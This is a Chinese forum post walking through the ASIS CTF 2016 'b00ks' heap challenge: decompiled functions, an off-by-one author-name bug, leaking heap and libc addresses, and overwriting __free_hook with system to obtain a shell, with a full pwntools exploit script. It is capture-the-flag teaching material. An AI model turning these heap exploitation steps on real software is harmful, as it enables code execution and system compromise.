吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 1627|回复: 1
收起左侧

[CTF] ASIS CTF 2016 : b00ks

[复制链接]
R00tkit 发表于 2023-8-25 17:30
本帖最后由 R00tkit 于 2023-9-22 19:51 编辑

检查文件信息

1

1

2

2

ELF64位小端序程序,开了PIE和FULL RELORO,got不可写。

3

3

4

4
查看编译信息,并修改RPATH,这里还是使用2.23,2.19可以到libc-database下载。

试运行

5

5

逆向分析

/* main 函数*/

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  struct _IO_FILE *v3; // rdi
  int v5; // [rsp+1Ch] [rbp-4h]

  setvbuf(stdout, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  hello();
  get_name(); // 漏洞所在
  while ( 1 )
  {
    v5 = get_menu(v3);
    if ( v5 == 6 )
      break;
    switch ( v5 )
    {
      case 1:
        Create(v3);
        break;
      case 2:
        Delete(v3);
        break;
      case 3:
        Edit(v3);
        break;
      case 4:
        Print(v3);
        break;
      case 5:
        get_name(); // 漏洞可触发多次
        break;
      default:
        v3 = (struct _IO_FILE *)"Wrong option";
        puts("Wrong option");
        break;
    }
  }
  puts("Thanks to use our library software");
  return 0LL;
}
/* get_name 函数*/

__int64 get_name()
{
  printf("Enter author name: ");
  if ( !(unsigned int)offbyone(Author, 32LL) )
    return 0LL;
  printf("fail to read author_name");
  return 1LL;
}

/* offbyone 函数 */
__int64 __fastcall offbyone(_BYTE *a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]

  if ( a2 <= 0 )
    return 0LL;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, a1, 1uLL) != 1 )
      return 1LL;
    if ( *a1 == '\n' )
      break;
    ++a1;
    if ( i == a2 )
      break;
  }
  *a1 = 0; // 写满的情况下,a1多加了1,第33位会被改成'\x00'
  return 0LL;
}
/* Create 函数 */
__int64 Create()
{
  int Size; // [rsp+0h] [rbp-20h] BYREF
  int Library; // [rsp+4h] [rbp-1Ch]
  void *NewBook; // [rsp+8h] [rbp-18h]
  void *Name; // [rsp+10h] [rbp-10h]
  void *Description; // [rsp+18h] [rbp-8h]

  Size = 0;
  printf("\nEnter book name size: ");
  __isoc99_scanf("%d", &Size);
  if ( Size < 0 )
    goto ErrOut;
  printf("Enter book name (Max 32 chars): ");
  Name = malloc(Size);
  if ( !Name )
  {
    printf("unable to allocate enough space");
    goto Out;
  }
  if ( (unsigned int)offbyone(Name, Size - 1) )
  {
    printf("fail to read name");
    goto Out;
  }
  Size = 0;
  printf("\nEnter book description size: ");
  __isoc99_scanf("%d", &Size);
  if ( Size < 0 )
  {
ErrOut:
    printf("Malformed size");
  }
  else
  {
    Description = malloc(Size);
    if ( Description )
    {
      printf("Enter book description: ");
      if ( (unsigned int)offbyone(Description, Size - 1) )
      {
        printf("Unable to read description");
      }
      else
      {
        Library = GetLibrary();
        if ( Library == -1 )
        {
          printf("Library is full");
        }
        else
        {
          NewBook = malloc(0x20uLL);
          if ( NewBook )
          {
            *((_DWORD *)NewBook + 6) = Size;
            *((_QWORD *)booklist + Library) = NewBook;
            *((_QWORD *)NewBook + 2) = Description;
            *((_QWORD *)NewBook + 1) = Name;
            *(_DWORD *)NewBook = ++id;
            return 0LL;
          }
          printf("Unable to allocate book struct");
        }
      }
    }
    else
    {
      printf("Fail to allocate memory");
    }
  }
Out:
  if ( Name )
    free(Name);
  if ( Description )
    free(Description);
  if ( NewBook )
    free(NewBook);
  return 1LL;
}

/* GetLibrary 函数,从0~19 共 20 个booklist中找一个空闲 */

__int64 GetLibrary()
{
  int i; // [rsp+0h] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    if ( !*((_QWORD *)booklist + i) )
      return (unsigned int)i;
  }
  return 0xFFFFFFFFLL;
}

/* 不难分析book结构体 */
struct book{
    int id;
    void* Name;
    void* Description;
    int Size; // 记录 Description 大小

}

book* booklist[20];
/* Delete 函数 */

__int64 Delete()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  i = 0;
  printf("Enter the book id you want to delete: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)booklist + i) || **((_DWORD **)booklist + i) != v1); ++i )
      ;
    if ( i != 20 )
    {
      free(*(void **)(*((_QWORD *)booklist + i) + 8LL)); // 存在 UAF
      free(*(void **)(*((_QWORD *)booklist + i) + 16LL)); // 存在 UAF
      free(*((void **)booklist + i));
      *((_QWORD *)booklist + i) = 0LL;
      return 0LL;
    }
    printf("Can't find selected book!");
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}
/* 可以修改 Description 内容  */

__int64 Edit()
{
  int v1; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  printf("Enter the book id you want to edit: ");
  __isoc99_scanf("%d", &v1);
  if ( v1 > 0 )
  {
    for ( i = 0; i <= 19 && (!*((_QWORD *)booklist + i) || **((_DWORD **)booklist + i) != v1); ++i )
      ;
    if ( i == 20 )
    {
      printf("Can't find selected book!");
    }
    else
    {
      printf("Enter new book description: ");
      if ( !(unsigned int)offbyone(
                            *(_BYTE **)(*((_QWORD *)booklist + i) + 16LL),
                            *(_DWORD *)(*((_QWORD *)booklist + i) + 24LL) - 1) )
        return 0LL;
      printf("Unable to read new description");
    }
  }
  else
  {
    printf("Wrong id");
  }
  return 1LL;
}
/* Print 函数 */

int Print()
{
  __int64 v0; // rax
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    v0 = *((_QWORD *)booklist + i);
    if ( v0 )
    {
      printf("ID: %d\n", **((unsigned int **)booklist + i));
      printf("Name: %s\n", *(const char **)(*((_QWORD *)booklist + i) + 8LL));
      printf("Description: %s\n", *(const char **)(*((_QWORD *)booklist + i) + 16LL));
      LODWORD(v0) = printf("Author: %s\n", (const char *)Author);
    }
  }
  return v0;
}

6

6
可以看到Author距离booklist仅有0x20大小,也就是Author可读入大小,但我们可以溢出一个字节'\x00'。也就是说当我们溢出时,再去申请一个book就可以泄露book1的堆地址。

漏洞利用

泄露是必不可少的,这道题book1的堆地址泄露很简单,虽然开了PIE保护但是Author到booklist的偏移是不会变的,只需要off-by-one溢出后再去申请一个堆块即可将'\x00'覆盖掉,输出Author时便会将booklist[0]也就是book1的堆地址泄露出来,我们还需要泄露一个栈地址,我们再去审计代码,调试过程中发现通过改名字再次造成off-by-one会把booklist指针迁移到一个奇妙的地方,我们可以控制这块区域制造fake book,从而达到向任意地址写内容。并且unsorted bin里的fd指针就在这个booklist+0x30的地方,我们可以通过打印来泄露栈地址,计算固定偏移来获得libc基址。利用任意地址写,将free_hook处改写为system地址,并释放'/bin/sh\x00'。

泄露libc基址

def get_libc_base():
    global libc_base
    p.sendlineafter(b'name: ', b'a'*0x1f + b'b')
    add(0xd0, b'aaaaaaaa',0x20, b'bbbbbbbb') # id 1
    #debug()

    show()
    p.recvuntil(b'aaab')
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
    success("heap_addr: 0x%x" % heap_addr)
    add(0x80, b'cccccccc', 0x60, b'dddddddd') # id 2
    add(0x20, b'/bin/sh\x00', 0x20, b'/bin/sh\x00') # id 3
    #debug()
    delete(2)
    #debug()
    edit(1, p64(1) + p64(heap_addr+0x30) + p64(heap_addr+0x1d0) + p64(0x20))
    #debug()
    change(b'a' * 0x20)
    #debug()
    show()
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78

7

7
由于开了PIE保护,无法直接确认Author地址,我们选择直接从bss起始段开始看,可以看到此时'\x00'已经被覆盖,可以连带将book1堆地址打印出来。

8

8

9

9

10

10

book1结构,看以看到,他是一个0x31大小的堆块,book1[0]-->id-->1; book[1]-->name-->0x00005625f68cd020; book[2]-->Description-->0x00005625f68cd100; book1[3]-->Size-->0x20。注意这里book1[2]指向的位置和booklist的起始位置最后一位通过off-by-one改为0是一样的。

11

11
我们来整个看一下book2的布局可以更清楚堆的布局

12

12
book3布局

13

13
释放book2后,可以看到heap_addr+0x30处就是unsortedbin里第一个chunk_fd的位置。

16

16

14

14

15

15

因为book1[2]指向的位置和booklist最后一位被清零时是同一个位置,所以我们可以通过book1[2]写入一个fake booklist。其id为1,name指向unsortedbin_first_chunk_fd,Description指向book3,打印book1即可得到栈地址,减去其离libc基址的固定偏移就可得到libc基址。

将free_hook改为system函数并释放'/bin/sh\x00'。

def get_shell():
    __free_hook=libc_base+libc.symbols['__free_hook']
    system=libc_base+libc.symbols['system']

    edit(1, p64(__free_hook)+ b'\x00'*2 + b'\x20')
    #debug()
    edit(3, p64(system))
    #debug()

    delete(3)

18

18

19

19

20

20

向book1[2]的位置写入__free_hook地址,也就是book3[2]的位置。

21

21

22

22

然后将其改为system地址。

23

23

最后释放'/bin/sh\x00'(book3)就可以getshell。

完整exp

from pwn import *

context.arch='amd64'
context.terminal=['tmux', 'splitw', '-h']

p = process('./b00ks')

elf = ELF('./b00ks')
libc = ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def debug():
    gdb.attach(p)
    pause()

def add(name_size,name,content_size,content):
    p.sendlineafter(b'> ',b'1')
    p.sendlineafter(b'size: ',str(name_size).encode())
    p.sendlineafter(b'chars): ',name)
    p.sendlineafter(b'size: ',str(content_size).encode())
    p.sendlineafter(b'tion: ',content)

def delete(index):
    p.sendlineafter(b'> ',b'2')
    p.sendlineafter(b'delete: ',str(index).encode())

def edit(index,content):
    p.sendlineafter(b'> ',b'3')
    p.sendlineafter(b'edit: ',str(index).encode())
    p.sendlineafter(b'ption: ',content)

def show():
    p.sendlineafter(b'> ',b'4')

def change(author_name):
    p.sendlineafter(b'> ',b'5')
    p.sendlineafter(b'name: ',author_name)

def get_libc_base():
    global libc_base
    p.sendlineafter(b'name: ', b'a'*0x1f + b'b')
    add(0xd0, b'aaaaaaaa',0x20, b'bbbbbbbb') # id 1
    #debug() # 1
    show()
    p.recvuntil(b'aaab')
    heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
    success("heap_addr: 0x%x" % heap_addr)
    add(0x80, b'cccccccc', 0x60, b'dddddddd') # id 2
    add(0x20, b'/bin/sh\x00', 0x20, b'/bin/sh\x00') # id 3
    #debug() # 2
    delete(2)
    #debug() # 3
    edit(1, p64(1) + p64(heap_addr+0x30) + p64(heap_addr+0x1d0) + p64(0x20))
    #debug() # 4
    change(b'a' * 0x20)
    #debug() # 5
    show()
    libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x3c4b78

def get_shell():
    __free_hook=libc_base+libc.symbols['__free_hook']
    system=libc_base+libc.symbols['system']

    edit(1, p64(__free_hook)+ b'\x00'*2 + b'\x20')
    #debug() # 6
    edit(3, p64(system))
    #debug() # 7
    delete(3)

def pwn():
    get_libc_base()
    get_shell()
    p.interactive()

if __name__ == '__main__':
    pwn()

免费评分

参与人数 2吾爱币 +8 热心值 +2 收起 理由
笙若 + 1 + 1 谢谢@Thanks!
Hmily + 7 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

白兰度 发表于 2023-8-29 10:31
肯定不写的,除非被请
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-15 12:43

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表